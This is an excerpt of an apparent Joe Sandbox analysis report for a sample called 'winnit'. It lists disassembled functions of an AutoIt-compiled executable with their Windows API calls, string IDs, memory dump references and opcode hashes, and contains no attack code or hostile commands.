                                          • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00B3B949
                                          • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00B3B98C
                                          • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00B3B9C3
                                          • FreeLibrary.KERNEL32(?), ref: 00B3B9CF
                                          • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00B3B9DF
                                          • DestroyIcon.USER32(?,?,?,?,?,00B391C2), ref: 00B3B9EE
                                          • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00B3BA0B
                                          • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00B3BA17
                                            • Part of subcall function 00AD2EFD: __wcsicmp_l.LIBCMT ref: 00AD2F86
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                          • String ID: .dll$.exe$.icl
                                          • API String ID: 1212759294-1154884017
                                          • Opcode ID: 1d4694cf9137be2aa05d9802de20a72e724e24d424f1190a6e7067e967662337
                                          • Instruction ID: 3f377405ffd114634aca936751b0f5b15de22e9aa818e1d700c1b01a7bd093af
                                          • Opcode Fuzzy Hash: 1d4694cf9137be2aa05d9802de20a72e724e24d424f1190a6e7067e967662337
                                          • Instruction Fuzzy Hash: B161DF71940219BAEB14DF64CD81FBE7BACFF08720F20425AFA15D61D1DB75A980DBA0
                                          Function 00B1A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                          • CharLowerBuffW.USER32(?,?), ref: 00B1A3CB
                                          • GetDriveTypeW.KERNEL32 ref: 00B1A418
                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B1A460
                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B1A497
                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B1A4C5
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
                                          • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                          • API String ID: 2698844021-4113822522
                                          • Opcode ID: 0bfb326464bf773cb6fb2dd8f9977ae25025f74e42a20716dd77345ff1772312
                                          • Instruction ID: 101195118784f2061cb5f8356bd20363fa60009929d78676935db26fd169d65d
                                          • Opcode Fuzzy Hash: 0bfb326464bf773cb6fb2dd8f9977ae25025f74e42a20716dd77345ff1772312
                                          • Instruction Fuzzy Hash: 62515B715043059FC700EF20C9819AEB7F8EF84758F50896DF896972A2DB71ED09CB42
                                          Function 00B0F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,00AEE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 00B0F8DF
                                          • LoadStringW.USER32(00000000,?,00AEE029,00000001), ref: 00B0F8E8
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                          • GetModuleHandleW.KERNEL32(00000000,00B75310,?,00000FFF,?,?,00AEE029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 00B0F90A
                                          • LoadStringW.USER32(00000000,?,00AEE029,00000001), ref: 00B0F90D
                                          • __swprintf.LIBCMT ref: 00B0F95D
                                          • __swprintf.LIBCMT ref: 00B0F96E
                                          • _wprintf.LIBCMT ref: 00B0FA17
                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B0FA2E
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
                                          • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                          • API String ID: 984253442-2268648507
                                          • Opcode ID: 44c64b9f9e70d6cd86154dd6281983c9c47e30192f03549a69ee93801bfe7627
                                          • Instruction ID: 1ee2d80f0b7ac27940e5e38398530676f7a0645bc53c5f49f00f05e21846738b
                                          • Opcode Fuzzy Hash: 44c64b9f9e70d6cd86154dd6281983c9c47e30192f03549a69ee93801bfe7627
                                          • Instruction Fuzzy Hash: 17412D72904209AACF14FBE0DE96EFE7BBCAF54300F500065F506760A2EE756F49CA61
                                          Function 00B3BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00B39207,?,?), ref: 00B3BA56
                                          • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00B39207,?,?,00000000,?), ref: 00B3BA6D
                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00B39207,?,?,00000000,?), ref: 00B3BA78
                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,00B39207,?,?,00000000,?), ref: 00B3BA85
                                          • GlobalLock.KERNEL32(00000000), ref: 00B3BA8E
                                          • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00B39207,?,?,00000000,?), ref: 00B3BA9D
                                          • GlobalUnlock.KERNEL32(00000000), ref: 00B3BAA6
                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,00B39207,?,?,00000000,?), ref: 00B3BAAD
                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00B39207,?,?,00000000,?), ref: 00B3BABE
                                          • OleLoadPicture.OLEAUT32(?,00000000,00000000,00B42CAC,?), ref: 00B3BAD7
                                          • GlobalFree.KERNEL32(00000000), ref: 00B3BAE7
                                          • GetObjectW.GDI32(00000000,00000018,?), ref: 00B3BB0B
                                          • CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 00B3BB36
                                          • DeleteObject.GDI32(00000000), ref: 00B3BB5E
                                          • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00B3BB74
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                          • String ID:
                                          • API String ID: 3840717409-0
                                          • Opcode ID: 34a76e62771babbb365e9b9d95dbbc17c69358a7e857e6008a3fb74faf92af27
                                          • Instruction ID: 233017b26f0d73985a0a2ec43f5c63c3920b4ea8ab8a93d1e7b1002cede8c32f
                                          • Opcode Fuzzy Hash: 34a76e62771babbb365e9b9d95dbbc17c69358a7e857e6008a3fb74faf92af27
                                          • Instruction Fuzzy Hash: B841F775A00205FFDB119F65DC88EBFBBB9EB89711F2040A9F909D7260DB309A01DB60
                                          Function 00B1D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                          Download Yara Rule
                                          APIs
                                          • __wsplitpath.LIBCMT ref: 00B1DA10
                                          • _wcscat.LIBCMT ref: 00B1DA28
                                          • _wcscat.LIBCMT ref: 00B1DA3A
                                          • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00B1DA4F
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00B1DA63
                                          • GetFileAttributesW.KERNEL32(?), ref: 00B1DA7B
                                          • SetFileAttributesW.KERNEL32(?,00000000), ref: 00B1DA95
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00B1DAA7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                          • String ID: *.*
                                          • API String ID: 34673085-438819550
                                          • Opcode ID: 695a4553f0ef02418fda7546b87af344daa7635c9bee1bb63ab0f009199a60c9
                                          • Instruction ID: e78100083530fefcc9d1f96abcfea127f426453a8510c153af0131ca51cf6e1e
                                          • Opcode Fuzzy Hash: 695a4553f0ef02418fda7546b87af344daa7635c9bee1bb63ab0f009199a60c9
                                          • Instruction Fuzzy Hash: B481B2716082459FCB24DF64C884AEFB7E8FF89350F94486EF889C7251E630E984CB52
                                          Function 00B3C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB2612: GetWindowLongW.USER32(?,000000EB), ref: 00AB2623
                                          • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00B3C1FC
                                          • GetFocus.USER32 ref: 00B3C20C
                                          • GetDlgCtrlID.USER32(00000000), ref: 00B3C217
                                          • _memset.LIBCMT ref: 00B3C342
                                          • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00B3C36D
                                          • GetMenuItemCount.USER32(?), ref: 00B3C38D
                                          • GetMenuItemID.USER32(?,00000000), ref: 00B3C3A0
                                          • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00B3C3D4
                                          • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00B3C41C
                                          • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00B3C454
                                          • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00B3C489
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                          • String ID: 0
                                          • API String ID: 1296962147-4108050209
                                          • Opcode ID: 2d8e88cd608e49e2289bb40cf3d24dbb540cd20aff5f20fc350a7fb9d8026216
                                          • Instruction ID: c3026464b127cf9973b9f4021e6b2f6aa68e0c02ca50d6c615d8dde63898d992
                                          • Opcode Fuzzy Hash: 2d8e88cd608e49e2289bb40cf3d24dbb540cd20aff5f20fc350a7fb9d8026216
                                          • Instruction Fuzzy Hash: EF818E71608301AFD720DFA4C894E7BBBE8FB88714F20496EF995A7291CB70D905CB52
                                          Function 00B2731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDC.USER32(00000000), ref: 00B2738F
                                          • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00B2739B
                                          • CreateCompatibleDC.GDI32(?), ref: 00B273A7
                                          • SelectObject.GDI32(00000000,?), ref: 00B273B4
                                          • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00B27408
                                          • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00B27444
                                          • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00B27468
                                          • SelectObject.GDI32(00000006,?), ref: 00B27470
                                          • DeleteObject.GDI32(?), ref: 00B27479
                                          • DeleteDC.GDI32(00000006), ref: 00B27480
                                          • ReleaseDC.USER32(00000000,?), ref: 00B2748B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                          • String ID: (
                                          • API String ID: 2598888154-3887548279
                                          • Opcode ID: 96eaa5646a8e74db1074114e95f993f09b3e0e5a3a236fda5b6bcb29c16ad50c
                                          • Instruction ID: 89c0feae0000e86fe26f9bf05d58b6a658259a40c67efaf63694c5d36b274b25
                                          • Opcode Fuzzy Hash: 96eaa5646a8e74db1074114e95f993f09b3e0e5a3a236fda5b6bcb29c16ad50c
                                          • Instruction Fuzzy Hash: 39513771904219EFCB14CFA8DC85EAEBBF9EF48310F14846AE99A97210CB31A9418B54
                                          Function 00AB6A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AD0957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00AB6B0C,?,00008000), ref: 00AD0973
                                            • Part of subcall function 00AB4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AB4743,?,?,00AB37AE,?), ref: 00AB4770
                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00AB6BAD
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00AB6CFA
                                            • Part of subcall function 00AB586D: _wcscpy.LIBCMT ref: 00AB58A5
                                            • Part of subcall function 00AD363D: _iswctype.LIBCMT ref: 00AD3645
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
                                          • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                          • API String ID: 537147316-1018226102
                                          • Opcode ID: f96216c55b7d41794e9d06ab4884795be244d20a339c011eb1c33831f0ee1b4b
                                          • Instruction ID: 749713dcedab4c986212cf7794e785318b914c9d1e598ae5e9221ffec9225c4e
                                          • Opcode Fuzzy Hash: f96216c55b7d41794e9d06ab4884795be244d20a339c011eb1c33831f0ee1b4b
                                          • Instruction Fuzzy Hash: 4A029A305083419FC724EF24C991AAFBBF9BF99314F14492DF48A972A2DB34D949CB52
                                          Function 00B12D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B12D50
                                          • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00B12DDD
                                          • GetMenuItemCount.USER32(00B75890), ref: 00B12E66
                                          • DeleteMenu.USER32(00B75890,00000005,00000000,000000F5,?,?), ref: 00B12EF6
                                          • DeleteMenu.USER32(00B75890,00000004,00000000), ref: 00B12EFE
                                          • DeleteMenu.USER32(00B75890,00000006,00000000), ref: 00B12F06
                                          • DeleteMenu.USER32(00B75890,00000003,00000000), ref: 00B12F0E
                                          • GetMenuItemCount.USER32(00B75890), ref: 00B12F16
                                          • SetMenuItemInfoW.USER32(00B75890,00000004,00000000,00000030), ref: 00B12F4C
                                          • GetCursorPos.USER32(?), ref: 00B12F56
                                          • SetForegroundWindow.USER32(00000000), ref: 00B12F5F
                                          • TrackPopupMenuEx.USER32(00B75890,00000000,?,00000000,00000000,00000000), ref: 00B12F72
                                          • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00B12F7E
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                          • String ID:
                                          • API String ID: 3993528054-0
                                          • Opcode ID: 9c5d68251ed73c7d4bec75b0fefb110f87fa5b87c1b41416eb0b07f5b1570bd1
                                          • Instruction ID: bcff2007550cbf64c7c18fc46795fcce3b4cac020072cd8f5fbd95bfa98a4608
                                          • Opcode Fuzzy Hash: 9c5d68251ed73c7d4bec75b0fefb110f87fa5b87c1b41416eb0b07f5b1570bd1
                                          • Instruction Fuzzy Hash: B271E571600206BBEB218F54DC85FEABFA4FF04754F600266F615A61E1CBB15CB0D794
                                          Function 00B077DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                          • _memset.LIBCMT ref: 00B0786B
                                          • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00B078A0
                                          • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00B078BC
                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00B078D8
                                          • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00B07902
                                          • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00B0792A
                                          • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B07935
                                          • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B0793A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
                                          • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                          • API String ID: 1411258926-22481851
                                          • Opcode ID: 10980ed523ee9025400ad6d7b5bbf13d482386ad102be7419f5f1d0c234af3e5
                                          • Instruction ID: 90aebc642035a9e7baf3606a237a32250718a6efc596a0ae36ed0ccf52ae96c9
                                          • Opcode Fuzzy Hash: 10980ed523ee9025400ad6d7b5bbf13d482386ad102be7419f5f1d0c234af3e5
                                          • Instruction Fuzzy Hash: 12410872C54229ABCF15EFA4DD95DEDBBB8FF44310F444069E905A31A2EA709D04CB90
                                          Function 00B30E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON
                                          Download Yara Rule
                                          APIs
                                          • CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B2FDAD,?,?), ref: 00B30E31
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: BuffCharUpper
                                          • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                          • API String ID: 3964851224-909552448
                                          • Opcode ID: 419903811c052fc0ae9cf07a1a5f4fa4dbdda1d7740926ef6b087462fdb2a9b4
                                          • Instruction ID: d17a2d77fbce4ae81be90a3ec953d8e6e3c0feaf8a44a462a38a8e301a135451
                                          • Opcode Fuzzy Hash: 419903811c052fc0ae9cf07a1a5f4fa4dbdda1d7740926ef6b087462fdb2a9b4
                                          • Instruction Fuzzy Hash: 9441413661424A9BCF20FF10D965AEE37A8EF51344F2404A5FC561B392DB34AD5ACB60
                                          Function 00B0F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00AEE2A0,00000010,?,Bad directive syntax error,00B3F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 00B0F7C2
                                          • LoadStringW.USER32(00000000,?,00AEE2A0,00000010), ref: 00B0F7C9
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                          • _wprintf.LIBCMT ref: 00B0F7FC
                                          • __swprintf.LIBCMT ref: 00B0F81E
                                          • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00B0F88D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
                                          • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                          • API String ID: 1506413516-4153970271
                                          • Opcode ID: a7aa6755f17685cd9981cdea50ac5aa3c58d63cdfa1fde50232470a96276d354
                                          • Instruction ID: 869e5ea3cf98a93ed700531bb8afebba2ca1051aeba2bee1651be393d04f142c
                                          • Opcode Fuzzy Hash: a7aa6755f17685cd9981cdea50ac5aa3c58d63cdfa1fde50232470a96276d354
                                          • Instruction Fuzzy Hash: BF21713290021AEBCF11EF90CD5AEFE7BB9BF18300F0444A6F505660A2DA719A18DB51
                                          Function 00B152C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                            • Part of subcall function 00AB7924: _memmove.LIBCMT ref: 00AB79AD
                                          • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00B15330
                                          • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00B15346
                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B15357
                                          • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00B15369
                                          • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00B1537A
                                          Strings
                                          Memory Dump Source
